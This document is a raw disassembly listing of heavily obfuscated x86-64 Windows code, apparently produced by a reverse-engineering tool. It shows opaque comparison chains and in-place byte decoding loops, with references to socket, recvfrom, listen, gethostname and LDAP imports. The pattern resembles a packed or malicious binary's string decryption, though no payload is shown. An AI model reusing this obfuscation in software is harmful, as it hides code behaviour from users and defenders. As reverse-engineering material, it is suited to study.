jb 0x14007ca44
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007ca2a
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14007ca10
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14007ccc4
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007cc63
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007cc1a
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007cbec
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14007c860
lea r8, [r9 + 4]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14007cbb2
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007cb8f
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14007cb6c
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007cb34
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14007cb11
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007caee
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007cac0
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007ca94
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14007ca71
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14007c860
lea r8, [r9 + 0x80]
lea r9, [r8 + 5]
jmp 0x14007c860
lea rcx, [r11 + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x43
jmp 0x14007c850
lea rcx, [r11 + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xf
jmp 0x14007c7e5
movabs rcx, 0xfc9b1abc317c2657
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x61
movabs rcx, 0x16bafc67cb452fb1
jmp 0x14007c770
movabs rcx, 0xeab5a41d65674c28
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
jmp 0x14007d35c
movabs rcx, 0xbd3fab4dcedcecc6
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6a
inc r9
dec r11
inc r11
jmp 0x14007c753
movabs rdx, 0x8fc9b27e38528d64
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec r11
inc r11
jmp 0x14007c753
movabs rcx, 0x6253b9aea1c82e02
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xe
jmp 0x14007d212
movabs rcx, 0x34ddc0df0b3dcea0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x14007d400
movabs rdx, 0x767c80f74b36f3e
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007c753
movabs rcx, 0xd9f1cf3fde290fdc
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 4
jmp 0x14007d439
movabs rcx, 0xac7bd670479eb07a
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x56
jmp 0x14007d468
movabs rdx, 0x7f05dda0b1145118
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + r11 + 0xc48]
add rax, r9
add r11, rax
inc r11
jmp 0x14007c753
movabs rcx, 0xd5eef99b8ba62a3
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x75
mov byte [rbp + r11 + 0xc48], r10b
inc r11
jmp 0x14007c753
movabs rcx, 0xdfe8f6ca22300341
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x39
cmp r9, 0x28
jb 0x14007cc0a
movabs rcx, 0xe80915afd910086
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r10d, [rcx*2 - 0x54]
jmp 0x14007d35c
movabs rdx, 0xb272fdfa8ba5a3df
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x19
add r10b, dl
cmp r8, 0xa
jae 0x14007d1e8
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14007d0d3
movabs rdx, 0x47e4d93f1c2946b2
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14007cc38
movabs rcx, 0x84fd052af51b447d
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6b
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x14007d23d
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14007cfa0
movabs rcx, 0x6a8e24bb6f7c5d2d
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3b
jmp 0x14007cc85
movabs rdx, 0x30083b160c0d791e
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + r11 + 0xc48]
add rax, r9
add r11, rax
inc r11
jmp 0x14007c753
movabs rcx, 0x2924246758319bc
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
jmp 0x14007d468
movabs rdx, 0xd51c4976def8ba5a
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x76
add r10b, dl
jmp 0x14007d439
movabs rdx, 0xa7a650a7486e5af8
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007c753
movabs rcx, 0x7a3057d7b1e3fb96
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x1a
jmp 0x14007d400
movabs rcx, 0x4cba5f081b599c34
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6c
jmp 0x14007d212
movabs rdx, 0x1f44663884cf3cd2
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec r11
inc r11
jmp 0x14007c753
movabs rcx, 0xf1ce6d68ee44dd70
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
inc r9
dec r11
inc r11
jmp 0x14007c753
movabs rcx, 0xc458749957ba7e0e
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x62
jmp 0x14007d35c
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x14007cecb
movabs rcx, 0x16bafc67cb452fb1
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x29
jmp 0x14007cce2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007cf09
movabs rcx, 0xbaad69075959d30a
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x46
movzx eax, byte [rbp + r11 + 0xc48]
add rax, r9
add r11, rax
inc r11
jmp 0x14007c753
inc rax
cmp r8, rax
jne 0x14007cf39
movabs rdx, 0xe82361d6efe4326c
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14007d468
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007cf6b
movabs rcx, 0xcb713de4e0980f56
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5a
dec r11
inc r11
jmp 0x14007c753
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007cce2
movabs rdx, 0x265d2f840dacce1a
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14007d35c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007cfcc
movabs rcx, 0x98041d8b0606bc8f
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x17
jmp 0x14007d35c
inc rax
cmp r8, rax
jne 0x14007cffd
movabs rcx, 0xf2f00f2a331b7b53
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x45
dec r11
inc r11
jmp 0x14007c753
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007d029
movabs rcx, 0x4ddc00c960303a17
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x5f
jmp 0x14007d400
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007d065
movabs rcx, 0x7b51f998f6ba9979
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4f
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007c753
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007d091
movabs rcx, 0xa8c7f2688d44f8db
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 3
jmp 0x14007d439
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007cc85
movabs rcx, 0x3b3e407ba59b79f
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x59
movzx eax, byte [rbp + r11 + 0xc48]
add rax, r9
add r11, rax
inc r11
jmp 0x14007c753
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007d116
movabs rdx, 0x755ad20eb2b3a614
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + r11 + 0xc48]
add rax, r9
add r11, rax
inc r11
jmp 0x14007c753
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007d147
movabs rdx, 0xd046c3addfc864d8
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14007d439
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007d17e
movabs rdx, 0x861ea6ec39f1e260
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec r11
inc r11
jmp 0x14007c753
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007d1b3
movabs rcx, 0xb3949fbbd07c41c2
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
inc r9
dec r11
inc r11
jmp 0x14007c753
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007cc38
movabs rdx, 0xe10a988b6706a124
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14007d35c
movabs rdx, 0x3bf68a2a941b5fe8
add rdx, r11
movzx eax, dl
and al, bl
add al, al
movzx r10d, byte [rbp + r11 + 0xc48]
sub r10b, al
sub r10b, 0x58
add r10b, dl
add r10b, bl
movabs rcx, 0x52b186925f608f99
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x2f
add bl, cl
add bl, r10b
mov byte [rbp + r11 + 0xc48], bl
jmp 0x14007d400
movabs rcx, 0x696c82fa2aa5bf4a
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0xc48]
lea r10d, [rbx + rcx]
sub r10b, 6
jmp 0x14007d439
movabs rcx, 0x767c73cff78a43f7
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x3f
movzx eax, byte [rbp + r11 + 0xc48]
add rax, r9
add r11, rax
inc r11
jmp 0x14007c753
movabs rcx, 0x1b908230ca758533
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x65
jmp 0x14007d439
movabs rcx, 0xee1a896133eb25d1
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x49
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007c753
movabs rcx, 0x3842a622d9c1a849
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
inc r10b
inc r9
dec r11
inc r11
jmp 0x14007c753
movabs rcx, 0xaccad53433748e7
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x51
jmp 0x14007d35c
movabs rcx, 0xafe0bbb416228a23
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0xb
movabs rcx, 0x253b8dc2c8d63037
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x7f
add cl, bl
mov byte [rbp + r11 + 0xc48], cl
inc r9
dec r11
inc r11
jmp 0x14007c753
movabs rcx, 0x826ac2e47f982ac1
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x47
inc r9
dec r11
inc r11
jmp 0x14007c753
movabs rcx, 0x54f4ca14e90dcb5f
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x67
dec r11
inc r11
jmp 0x14007c753
movabs rcx, 0xfa08d875bbf90c9b
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3d
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007c753
mov rbx, rdx
movabs rcx, 0x9f1ce6d68ee44dd7
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x1f
movabs rcx, 0x80277f61f5eaeefb
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x23
add cl, bl
movzx eax, cl
mov byte [rbp + r11 + 0xc48], al
inc r9
add rax, r9
sub r11, rax
movabs rdx, 0x96e27bc9c1301eac
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + r11 + 0xc48], cl
inc r8
mov rax, r13
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0xc48]
add rax, r9
add r11, rax
inc r11
jmp 0x14007c753
movabs rcx, 0x4430f53761cf8f13
add rcx, r11
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x7b
movzx eax, byte [rbp + r11 + 0xc48]
add rax, r9
add r11, rax
inc r11
jmp 0x14007c753
movabs rcx, 0xcf2521ec9af1c6f5
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x4d
jmp 0x14007c74e
movabs rcx, 0xa1af291d04676793
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 5
jmp 0x14007c738
lea rcx, [rbp + 0x17c1734]
jmp 0x14007d546
lea rcx, [rbp + 0x14146e5]
jmp 0x14007d546
lea rcx, [rbp + 0xc48]
mov dword [rbp + 0xf00], 0x64
mov dword [rbp + 0xf08], 1
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xf00]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf08]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.1400375c0
mov byte [rbp + 0xc70], Ordinal_50
mov byte [rbp + 0xc71], 0x3f
mov byte [rbp + 0xc72], Ordinal_41
mov byte [rbp + 0xc73], 0xf1
mov byte [rbp + 0xc74], gethostname
mov byte [rbp + 0xc75], WSAGetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc76], xmm0
mov qword [rbp + 0xc86], rax
mov dword [rbp + 0xc8e], eax
mov byte [rbp + 0xc92], al
movabs rsi, 0xcb38777ef26c523a
movabs r12, 0x46a12a42ff5a7dd2
movabs r14, 0x5981f260a6225106
movabs r15, 0xcc3f9ddaa76d5562
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14007e378
movzx ebx, byte [rbp + rdi + 0xc70]
mov r10, rbx
cmp r8, rdi
ja 0x14007e36f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007d653
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x42
jmp 0x14007d680
je 0x14007e2e6
inc rax
cmp r8, rax
je 0x14007e2ad
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007e284
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007e232
nop
cmp r9, rdi
ja 0x14007e366
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007d6ae
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007d6d0
je 0x14007e211
inc rax
cmp r8, rax
je 0x14007e1ad
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007e115
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14007dd44
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007dd1f
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007dcf3
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007dcc5
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007dca2
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007dc67
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007dc34
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14007dc0c
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007dbe9
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007dbb0
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007d6e0
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14007e343
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007e31b
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14007d8d1
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007d8b2
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14007d894
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007db4c
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007daf4
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007daa3
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14007da75
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007d6e0
lea r8, [r9 + 1]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14007da3c
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14007da19
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007da05
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007d9d2
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007d997
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007d973
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007d945
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007d919
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14007d8f4
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007d6e0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x41]
jmp 0x14007d6e0
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2a
add r11b, dl
jmp 0x14007d6d0
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007d680
movabs rcx, 0x3efd4954a8b859be
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
jmp 0x14007d624
movabs rdx, 0x59c3bbf7936291d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007e251
movabs rcx, 0xcc81677194ad962c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x34
inc r9
dec rdi
inc rdi
jmp 0x14007d612
movabs rdx, 0x3f3f12eb95f89a88
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007d612
movabs rdx, 0xb1fcbe6597439ee4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3c
jmp 0x14007e1cd
movabs rdx, 0x24ba69df988ea340
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d612
movabs rcx, 0x9778155999d9a79c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x44
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d612
movabs rdx, 0xa35c0d39b24abf8
mov ecx, Ordinal_30
jmp 0x14007e124
movabs rcx, 0x7cf36c4d9c6fb054
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x14007e169
movabs rdx, 0xefb117c79dbab4b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d612
movabs rcx, 0x8e8b4478a0f63f96
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
mov byte [rbp + rdi + 0xc70], r11b
inc rdi
jmp 0x14007d612
movabs rdx, 0x148eff2a24143f2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 0x40
jb 0x14007da93
movabs rdx, 0x2436d6b1be0e21ac
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x68]
jmp 0x14007e254
movabs rdx, 0x74069b6ca38c484e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x22
add r11b, dl
cmp r8, 0x400
jae 0x14007e0cd
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14007df92
movabs rdx, 0x9f9f8975cafc4d44
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
jmp 0x14007daba
movabs rdx, 0xe6c446e6a4d74caa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r8 + r9]
cmp rax, 0x80
je 0x14007e0f6
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14007dea4
movabs rdx, 0xd46711f6d88ffb0a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x46
jmp 0x14007db13
movabs rdx, 0xc352ccf9ae89ed5c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d612
movabs rcx, 0x36107873afd4f1b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x14007e169
movabs rdx, 0xa8ce23edb11ff614
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007e138
movabs rcx, 0x1b8bcf67b26afa70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d612
movabs rdx, 0x8e497ae1b3b5fecc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d612
movabs rcx, 0x107265bb5010328
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x14007e1d0
movabs rdx, 0x73c4d1d5b64c0784
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007d612
movabs rcx, 0xe6827d4fb7970be0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x14007d612
movabs rdx, 0x594028c9b8e2103c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007e251
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14007dd6c
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007db6f
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007dda9
movabs rcx, 0x9670eefde4d8a474
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2c
movzx eax, byte [rbp + rdi + 0xc70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d612
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007ddd7
movabs rdx, 0x3e37ec8fe0f79760
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007e2ce
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007de08
movabs rdx, 0x58bc959bde618ea8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007e1d0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007de3a
movabs rcx, 0xe5feea21dd168a4c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
dec rdi
inc rdi
jmp 0x14007d612
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007de74
movabs rdx, 0x73413ea7dbcb85f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x14007d612
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007db6f
